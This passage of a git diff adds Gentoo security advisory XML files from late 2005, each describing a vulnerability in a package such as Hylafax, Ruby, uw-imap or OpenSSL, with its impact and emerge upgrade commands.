diff --git a/xml/htdocs/security/en/glsa/glsa-200509-21.xml b/xml/htdocs/security/en/glsa/glsa-200509-21.xml
new file mode 100644
index 00000000..85999235
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-21.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-21">
+  <title>Hylafax: Insecure temporary file creation in xferfaxstats script</title>
+  <synopsis>
+    Hylafax is vulnerable to linking attacks, potentially allowing a local user
+    to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">hylafax</product>
+  <announced>September 30, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>106882</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/hylafax" auto="yes" arch="*">
+      <unaffected range="rge">4.2.0-r3</unaffected>
+      <unaffected range="rge">4.2.1-r2</unaffected>
+      <unaffected range="ge">4.2.2</unaffected>
+      <vulnerable range="lt">4.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Hylafax is a client-server fax package for class 1 and 2 fax modems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino has discovered that xferfaxstats cron script
+    supplied by Hylafax insecurely creates temporary files with predictable
+    filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary file
+    directory, pointing to a valid file somewhere on the filesystem. When
+    the xferfaxstats script of Hylafax is executed, this would result in
+    the file being overwritten with the rights of the user running the
+    script, which typically is the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Hylafax users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-misc/hylafax</code>
+  </resolution>
+  <references>
+    <uri link="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=329384">Original bug report</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3069">CVE-2005-3069</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 28 Sep 2005 15:24:43 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 28 Sep 2005 19:07:36 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 30 Sep 2005 07:45:48 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-01.xml b/xml/htdocs/security/en/glsa/glsa-200510-01.xml
new file mode 100644
index 00000000..a829c45e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-01.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-01">
+  <title>gtkdiskfree: Insecure temporary file creation</title>
+  <synopsis>
+    gtkdiskfree is vulnerable to symlink attacks, potentially allowing a local
+    user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">gtkdiskfree</product>
+  <announced>October 03, 2005</announced>
+  <revised>October 03, 2005: 01</revised>
+  <bug>104565</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/gtkdiskfree" auto="yes" arch="*">
+      <unaffected range="ge">1.9.3-r1</unaffected>
+      <vulnerable range="lt">1.9.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gtkdiskfree is a GTK-based GUI to show free disk space.
+    </p>
+  </background>
+  <description>
+    <p>
+    Eric Romang discovered that gtkdiskfree insecurely creates a
+    predictable temporary file to handle command output.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create a symbolic link in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When gtkdiskfree is executed, this would result in the file being
+    overwritten with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gtkdiskfree users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/gtkdiskfree-1.9.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2918">CAN-2005-2918</uri>
+    <uri link="http://www.zataz.net/adviso/gtkdiskfree-09052005.txt">Original Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 03 Oct 2005 07:42:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 03 Oct 2005 07:42:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-02.xml b/xml/htdocs/security/en/glsa/glsa-200510-02.xml
new file mode 100644
index 00000000..ec963c54
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-02.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-02">
+  <title>Berkeley MPEG Tools: Multiple insecure temporary files</title>
+  <synopsis>
+    The Berkeley MPEG Tools use temporary files in various insecure ways,
+    potentially allowing a local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">MPEG Tools</product>
+  <announced>October 03, 2005</announced>
+  <revised>October 03, 2005: 01</revised>
+  <bug>107344</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-video/mpeg-tools" auto="yes" arch="*">
+      <unaffected range="ge">1.5b-r2</unaffected>
+      <vulnerable range="lt">1.5b-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Berkeley MPEG Tools are a collection of utilities for
+    manipulating MPEG video technology, including an encoder (mpeg_encode)
+    and various conversion utilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mike Frysinger of the Gentoo Security Team discovered that
+    mpeg_encode and the conversion utilities were creating temporary files
+    with predictable or fixed filenames. The 'test' make target of the MPEG
+    Tools also relied on several temporary files created insecurely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When the utilities are executed (or 'make test' is run), this would
+    result in the file being overwritten with the rights of the user
+    running the command.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Berkeley MPEG Tools users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mpeg-tools-1.5b-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3115">CAN-2005-3115</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 30 Sep 2005 07:41:47 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 01 Oct 2005 09:55:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 02 Oct 2005 13:13:54 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-03.xml b/xml/htdocs/security/en/glsa/glsa-200510-03.xml
new file mode 100644
index 00000000..f64b9cbd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-03.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-03">
+  <title>Uim: Privilege escalation vulnerability</title>
+  <synopsis>
+    Under certain conditions, applications linked against Uim suffer from a
+    privilege escalation vulnerability.
+  </synopsis>
+  <product type="ebuild">uim</product>
+  <announced>October 04, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>107748</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-i18n/uim" auto="yes" arch="*">
+      <unaffected range="ge">0.4.9.1</unaffected>
+      <vulnerable range="lt">0.4.9.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Uim is a multilingual input method library which provides secure and
+    useful input method for all languages.
+    </p>
+  </background>
+  <description>
+    <p>
+    Masanari Yamamoto discovered that Uim uses environment variables
+    incorrectly. This bug causes a privilege escalation if setuid/setgid
+    applications are linked to libuim. This bug only affects
+    immodule-enabled Qt (if you build Qt 3.3.2 or later versions with
+    USE="immqt" or USE="immqt-bc").
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious local user could exploit this vulnerability to execute
+    arbitrary code with escalated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Uim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-i18n/uim-0.4.9.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.freedesktop.org/pipermail/uim/2005-September/001346.html">Original advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3149">CVE-2005-3149</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 02 Oct 2005 13:02:25 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 02 Oct 2005 13:02:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 03 Oct 2005 09:56:44 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-04.xml b/xml/htdocs/security/en/glsa/glsa-200510-04.xml
new file mode 100644
index 00000000..d9f85c07
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-04">
+  <title>Texinfo: Insecure temporary file creation</title>
+  <synopsis>
+    Texinfo is vulnerable to symlink attacks, potentially allowing a local user
+    to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">Texinfo</product>
+  <announced>October 05, 2005</announced>
+  <revised>October 05, 2005: 01</revised>
+  <bug>106105</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/texinfo" auto="yes" arch="*">
+      <unaffected range="ge">4.8-r1</unaffected>
+      <vulnerable range="lt">4.8-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Texinfo is the official documentation system created by the GNU
+    project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Frank Lichtenheld has discovered that the "sort_offline()"
+    function in texindex insecurely creates temporary files with
+    predictable filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When texindex is executed, this would result in the file being
+    overwritten with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Texinfo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/texinfo-4.8-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3011">CAN-2005-3011</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 29 Sep 2005 14:54:06 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 29 Sep 2005 19:15:57 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 01 Oct 2005 09:53:58 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-05.xml b/xml/htdocs/security/en/glsa/glsa-200510-05.xml
new file mode 100644
index 00000000..0ab4c7d2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-05">
+  <title>Ruby: Security bypass vulnerability</title>
+  <synopsis>
+    Ruby is vulnerable to a security bypass of the safe level mechanism.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>October 06, 2005</announced>
+  <revised>October 06, 2005: 01</revised>
+  <bug>106996</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.3</unaffected>
+      <vulnerable range="lt">1.8.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an interpreted scripting language for quick and easy
+    object-oriented programming. Ruby supports the safe execution of
+    untrusted code using a safe level and taint flag mechanism.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dr. Yutaka Oiwa discovered that Ruby fails to properly enforce
+    safe level protections.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability to execute arbitrary
+    code beyond the restrictions specified in each safe level.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2337">CAN-2005-2337</uri>
+    <uri link="http://www.ruby-lang.org/en/20051003.html">Ruby release announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Oct 2005 12:55:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 04 Oct 2005 12:55:25 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Oct 2005 18:17:21 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-06.xml b/xml/htdocs/security/en/glsa/glsa-200510-06.xml
new file mode 100644
index 00000000..c53dbf8a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-06.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-06">
+  <title>Dia: Arbitrary code execution through SVG import</title>
+  <synopsis>
+    Improperly sanitised data in Dia allows remote attackers to execute
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">dia</product>
+  <announced>October 06, 2005</announced>
+  <revised>October 06, 2005: 01</revised>
+  <bug>107916</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/dia" auto="yes" arch="*">
+      <unaffected range="ge">0.94-r3</unaffected>
+      <vulnerable range="lt">0.94-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dia is a gtk+ based diagram creation program released under the
+    GPL license.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joxean Koret discovered that the SVG import plugin in Dia fails to
+    properly sanitise data read from an SVG file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could create a specially crafted SVG file, which, when
+    imported into Dia, could lead to the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dia users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/dia-0.94-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2966">CAN-2005-2966</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Oct 2005 12:58:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Oct 2005 18:51:11 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Oct 2005 07:39:21 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-07.xml b/xml/htdocs/security/en/glsa/glsa-200510-07.xml
new file mode 100644
index 00000000..390cdce4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-07.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-07">
+  <title>RealPlayer, Helix Player: Format string vulnerability</title>
+  <synopsis>
+    RealPlayer and Helix Player are vulnerable to a format string vulnerability
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">realplayer helixplayer</product>
+  <announced>October 07, 2005</announced>
+  <revised>November 22, 2005: 02</revised>
+  <bug>107309</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/realplayer" auto="yes" arch="*">
+      <unaffected range="ge">10.0.6</unaffected>
+      <vulnerable range="lt">10.0.6</vulnerable>
+    </package>
+    <package name="media-video/helixplayer" auto="yes" arch="*">
+      <vulnerable range="lt">1.0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RealPlayer is a multimedia player capable of handling multiple
+    multimedia file formats. Helix Player is an open source media player
+    for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    "c0ntex" reported that RealPlayer and Helix Player suffer from a heap
+    overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to play a specially crafted realpix (.rp) or
+    realtext (.rt) file, an attacker could execute arbitrary code with the
+    permissions of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RealPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/realplayer-10.0.6&quot;</code>
+    <p>
+    Note to Helix Player users: There is currently no stable secure Helix
+    Player package. Affected users should remove the package until an
+    updated Helix Player package is released.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2710">CAN-2005-2710</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 01 Oct 2005 10:35:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Oct 2005 19:39:34 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Oct 2005 14:20:23 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-08.xml b/xml/htdocs/security/en/glsa/glsa-200510-08.xml
new file mode 100644
index 00000000..97ec9404
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-08.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-08">
+  <title>xine-lib: Format string vulnerability</title>
+  <synopsis>
+    xine-lib contains a format string error in CDDB response handling that may
+    be exploited to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>October 08, 2005</announced>
+  <revised>October 08, 2005: 01</revised>
+  <bug>107854</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.0-r5</unaffected>
+      <unaffected range="rge">1.0.1-r4</unaffected>
+      <unaffected range="rge">1_rc8-r2</unaffected>
+      <vulnerable range="lt">1.1.0-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is a multimedia library which can be utilized to create
+    multimedia frontends. It includes functions to retrieve information
+    about audio CD contents from public CDDB servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar discovered a format string bug in the routines
+    handling CDDB server response contents.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could submit malicious information about an audio CD
+    to a public CDDB server (or impersonate a public CDDB server). When the
+    victim plays this CD on a multimedia frontend relying on xine-lib, it
+    could end up executing arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose media-libs/xine-lib</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2967">CAN-2005-2967</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 07 Oct 2005 11:30:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 08 Oct 2005 16:01:28 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-09.xml b/xml/htdocs/security/en/glsa/glsa-200510-09.xml
new file mode 100644
index 00000000..9aed069c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-09.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-09">
+  <title>Weex: Format string vulnerability</title>
+  <synopsis>
+    Weex contains a format string error that may be exploited by malicious
+    servers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">Weex</product>
+  <announced>October 08, 2005</announced>
+  <revised>October 08, 2005: 01</revised>
+  <bug>107849</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/weex" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1.5-r1</unaffected>
+      <vulnerable range="lt">2.6.1.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Weex is a non-interactive FTP client typically used to update web
+    pages.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar discovered a format string bug in Weex that can be
+    triggered when it is first run (or when its cache files are rebuilt,
+    using the -r option).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could setup a malicious FTP server which, when
+    accessed using Weex, could trigger the format string bug and end up
+    executing arbitrary code with the rights of the user running Weex.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Weex users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/weex-2.6.1.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3150">CAN-2005-3150</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 07 Oct 2005 11:45:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Oct 2005 11:46:02 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-10.xml b/xml/htdocs/security/en/glsa/glsa-200510-10.xml
new file mode 100644
index 00000000..75f030ed
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-10">
+  <title>uw-imap: Remote buffer overflow</title>
+  <synopsis>
+    uw-imap is vulnerable to remote overflow of a buffer in the IMAP server
+    leading to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">uw-imap</product>
+  <announced>October 11, 2005</announced>
+  <revised>October 11, 2005: 01</revised>
+  <bug>108206</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/uw-imap" auto="yes" arch="*">
+      <unaffected range="ge">2004g</unaffected>
+      <vulnerable range="lt">2004g</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    uw-imap is the University of Washington's IMAP and POP server
+    daemons.
+    </p>
+  </background>
+  <description>
+    <p>
+    Improper bounds checking of user supplied data while parsing IMAP
+    mailbox names can lead to overflowing the stack buffer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Successful exploitation requires an authenticated IMAP user to
+    request a malformed mailbox name. This can lead to execution of
+    arbitrary code with the permissions of the IMAP server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All uw-imap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/uw-imap-2004g&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2933">CAN-2005-2933</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=313&amp;type=vulnerabilities&amp;flashstatus=false">iDEFENSE Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 07 Oct 2005 11:49:05 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Oct 2005 15:06:14 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 08 Oct 2005 06:13:24 +0000">
+    r2d2
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-11.xml b/xml/htdocs/security/en/glsa/glsa-200510-11.xml
new file mode 100644
index 00000000..e338971a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-11.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-11">
+  <title>OpenSSL: SSL 2.0 protocol rollback</title>
+  <synopsis>
+    When using a specific option, OpenSSL can be forced to fallback to the less
+    secure SSL 2.0 protocol.
+  </synopsis>
+  <product type="ebuild">OpenSSL</product>
+  <announced>October 12, 2005</announced>
+  <revised>November 07, 2005: 02</revised>
+  <bug>108852</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.7h</unaffected>
+      <unaffected range="rge">0.9.7g-r1</unaffected>
+      <unaffected range="rge">0.9.7e-r2</unaffected>
+      <vulnerable range="lt">0.9.7h</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is a toolkit implementing the Secure Sockets Layer, Transport
+    Layer Security protocols and a general-purpose cryptography library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Applications setting the SSL_OP_MSIE_SSLV2_RSA_PADDING option (or the
+    SSL_OP_ALL option, that implies it) can be forced by a third-party to
+    fallback to the less secure SSL 2.0 protocol, even if both parties
+    support the more secure SSL 3.0 or TLS 1.0 protocols.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A man-in-the-middle attacker can weaken the encryption used to
+    communicate between two parties, potentially revealing sensitive
+    information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    If possible, disable the use of SSL 2.0 in all OpenSSL-enabled
+    applications.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-libs/openssl</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2969">CAN-2005-2969</uri>
+    <uri link="http://www.openssl.org/news/secadv_20051011.txt ">OpenSSL security advisory</uri>
+  </references>
